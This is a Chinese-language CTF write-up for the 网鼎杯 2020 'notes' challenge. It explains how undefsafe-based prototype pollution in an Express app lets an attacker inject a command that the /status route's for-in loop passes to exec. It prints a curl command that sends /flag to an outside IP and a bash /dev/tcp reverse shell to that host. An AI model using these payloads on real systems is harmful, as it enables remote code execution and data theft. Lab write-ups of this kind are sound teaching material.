BUU5 [网鼎杯 2020 青龙组]notes1

题目

源代码:

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

一些函数解释

1.关于require的两个模块:

express:这是一个广受欢迎的 Node.js Web 应用框架,可用来构建 Web 应用与 API。

path:它属于 Node.js 的内置模块,能处理和转换文件路径。

2.在const { exec } = require('child_process');

child_process 模块里的 exec 函数:在子进程中执行外部命令。

3..toString():主要功能是将对象转换为字符串形式

例如当num=10时,console.log(num.toString(x))输出10的x进制的字符串

4.var app = express(); 用于创建一个Express实例

5.对于 /status 模块

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

 exec()child_process 模块中的一个函数,用于在子进程中执行 shell 命令。

{shell: '/bin/bash'} 是一个配置对象,指定使用 /bin/bash 作为执行命令的 shell。

  • shell 是一个属性,'/bin/bash' 是该属性的值,这个配置的作用是指定在执行子进程中的命令时,使用 /bin/bash (也就是shell)作为 shell 程序。

(err, stdout, stderr) => {...} 是一个回调函数当命令执行完成后会被调用

  1. err:如果命令执行过程中出现错误,err 会包含错误信息;如果执行成功,err 为 null
  2. stdout:包含命令执行后的标准输出内容
  3. stderr:包含命令执行后的标准错误输出内容
  • res.send('OK') 方法将字符串 "OK" 作为响应内容发送给客户端。
  • res.end() 方法用于结束响应流,表明已经没有更多的数据要发送给客户端。

(注意以上两个函数会在所有命令执行完成之前就执行,客户端会立即收到 "OK" 响应,而无法获取命令执行的结果。)

漏洞成因

 对于函数:

  edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

而note_list的创建为:

 this.note_list = {};

说明note_list的原型为Object(这句话和this.note_list=Object()没啥区别)

发现此处可以利用原型链污染,只要将id的值设为"__proto__",就会连接成 "__proto__.author" , 也就是设置了note_list原型Object的author属性为我们上传的author内容(Object本来没有author属性,新加的)

在status模块中,发现exec()可以执行任意命令行命令,是一个突破口

for循环除了遍历commands上的属性,还会向它的原型Object找可枚举属性,找到被污染的author属性,放入exec()执行我们输入的命令

for…in 循环只遍历可枚举属性(包括它的原型链上的可枚举属性)。像 Array和 Object使用内置构造函数所创建的对象都会继承自Object.prototype和String.prototype的不可枚举属性,例如 String 的 indexOf() 方法或 Object的toString()方法。循环将遍历对象本身的所有可枚举属性,以及对象从其构造函数原型中继承的属性(更接近原型链中对象的属性覆盖原型属性)

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

大体流程是,利用exec()让靶机主动连接我们的服务器 

做法

payload1  在edit_notes处提交

id=__proto__.bb&author=curl -F 'flag=@/flag' 174.1.62.169:9999&raw=a

curl 命令:将 /flag 文件以表单数据的形式发送到 174.1.62.169 这个 IP 地址的 9999 端口。

当需要模拟 HTML 表单提交文件时,就会用到 -F(即 --form)选项。这个选项能让 curl 以 multipart/form-data 格式发送表单数据,支持上传文件。

flag:它代表表单字段的名称。在 HTML 表单里,每个输入项都有一个对应的名称,服务器端通过这个名称来获取表单数据。比如在 HTML 中可能有类似  的元素,这里的 flag 就和 HTML 表单里的 name 属性相对应。

@:当 curl 看到 @ 符号时,就会把后面紧跟的内容当作文件路径,然后读取该文件的内容并上传。

也就是尝试向 174.1.62.169:9999 这个地址发起一个带有文件上传的请求

payload2创建一个反向 Shell 连接

bash -i >& /dev/tcp/174.1.62.169/9999 0>&1

-i :开启一个交互式的 shell 会话

bash -i:启动一个交互式的 Bash shell。

>& 是输出重定向操作符,在这里 bash -i >& /dev/tcp/174.1.62.169/9999 将交互式 Bash shell 的标准输出和标准错误都重定向到与 174.1.62.169 主机的 9999 端口建立的 TCP 连接上。

0>&1 进一步将标准输入(文件描述符 0)重定向到与标准输出相同的位置,也就是上述建立的 TCP 连接。这意味着攻击者在连接到 174.1.62.169:9999 后,可以通过这个连接向目标系统发送命令,并接收命令执行的输出。

文件描述符 1(标准输出)               文件描述符 2(标准错误输出)

然后再监听

你可能感兴趣的:(windows,服务器,linux)